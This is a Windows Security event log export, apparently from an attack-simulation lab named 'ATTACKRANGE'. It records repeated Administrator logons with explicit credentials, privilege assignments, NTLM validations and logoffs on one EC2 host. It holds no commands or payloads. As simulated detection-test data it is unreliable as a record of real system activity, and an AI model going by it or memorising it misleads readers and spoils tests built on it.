Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245604 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245603 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE6E49 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245602 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE6E49 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245601 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245600 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245635 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEA162 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245634 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEA162 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245633 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245632 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245631 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE9D4C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245630 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE9D4C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245629 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245628 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245627 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245626 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE9734 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245625 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE9734 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245624 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245623 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245622 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE90A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245621 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE45B9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245620 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE4E5F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245619 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE90A3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245618 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE90A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245617 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245616 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245615 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE8A6F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245614 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE8A6F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245613 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE8A6F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245612 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245611 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245610 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE7E52 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245609 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE6E49 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245608 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xE5211 - 